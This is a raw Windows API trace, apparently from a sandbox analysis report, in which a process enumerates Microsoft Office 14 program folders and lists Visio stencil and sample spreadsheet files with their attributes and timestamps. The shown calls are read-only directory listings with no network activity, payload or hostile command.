	[0053.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" (normalized: "c:\\program files\\microsoft office\\office14\\pubba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" (normalized: "c:\\program files\\microsoft office\\office14\\queries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" (normalized: "c:\\program files\\microsoft office\\office14\\samples"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.228] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.228] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc114b600, ftCreationTime.dwHighDateTime=0x1c307de, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc114b600, ftLastWriteTime.dwHighDateTime=0x1c307de, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVSAMP.XLS", cAlternateFileName="")) returned 1
	[0053.228] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.228] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" (normalized: "c:\\program files\\microsoft office\\office14\\startup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.239] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.239] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.239] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" (normalized: "c:\\program files\\microsoft office\\office14\\visio content"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.254] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.254] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.254] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0053.254] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.254] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.257] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.257] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6e4b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d6e4b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTDIR_M.VST", cAlternateFileName="")) returned 1
	[0053.257] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2101d200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2101d200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTDIR_U.VST", cAlternateFileName="")) returned 1
	[0053.257] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf591600, ftCreationTime.dwHighDateTime=0x1ca4725, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdf591600, ftLastWriteTime.dwHighDateTime=0x1ca4725, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO_M.VSS", cAlternateFileName="")) returned 1
	[0053.257] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ce4000, ftCreationTime.dwHighDateTime=0x1ca4725, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4ce4000, ftLastWriteTime.dwHighDateTime=0x1ca4725, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO_U.VSS", cAlternateFileName="")) returned 1
	[0053.257] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf54e00, ftCreationTime.dwHighDateTime=0x1ca4725, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbf54e00, ftLastWriteTime.dwHighDateTime=0x1ca4725, nFileSizeHigh=0x0, nFileSizeLow=0x21200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADS_M.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c5c00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x31c5c00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADS_U.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123d00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9123d00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM_M.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10394b00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x10394b00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM_U.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19c2b300, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x19c2b300, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x2c200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANNOT_M.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x221aee00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x221aee00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x26800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANNOT_U.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30690a00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x30690a00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x1f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPL_M.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe85300, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3fe85300, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPL_U.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424aad00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x424aad00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARROWS_M.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437bda00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x437bda00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARROWS_U.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecea600, ftCreationTime.dwHighDateTime=0x1ca1c68, ftLastAccessTime.dwLowDateTime=0x50598d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9ecea600, ftLastWriteTime.dwHighDateTime=0x1ca1c68, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASTMGT.XLS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x408bd200, ftCreationTime.dwHighDateTime=0x1ca5b8a, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x408bd200, ftLastWriteTime.dwHighDateTime=0x1ca5b8a, nFileSizeHigh=0x0, nFileSizeLow=0x120000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASTMGT_M.VST", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d13d00, ftCreationTime.dwHighDateTime=0x1ca5b8a, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d13d00, ftLastWriteTime.dwHighDateTime=0x1ca5b8a, nFileSizeHigh=0x0, nFileSizeLow=0x11c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASTMGT_U.VST", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d054200, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4d054200, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x26c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIT_M.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3414a200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3414a200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIT_M.VST", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57bfd700, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57bfd700, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIT_U.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a82900, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37a82900, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIT_U.VST", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaa96600, ftCreationTime.dwHighDateTime=0x1ca47e8, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdaa96600, ftLastWriteTime.dwHighDateTime=0x1ca47e8, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASFLO_M.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x481e500, ftCreationTime.dwHighDateTime=0x1ca6bfd, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x481e500, ftLastWriteTime.dwHighDateTime=0x1ca6bfd, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASFLO_M.VST", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6b3e00, ftCreationTime.dwHighDateTime=0x1ca47e9, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d6b3e00, ftLastWriteTime.dwHighDateTime=0x1ca47e9, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASFLO_U.VSS", cAlternateFileName="")) returned 1
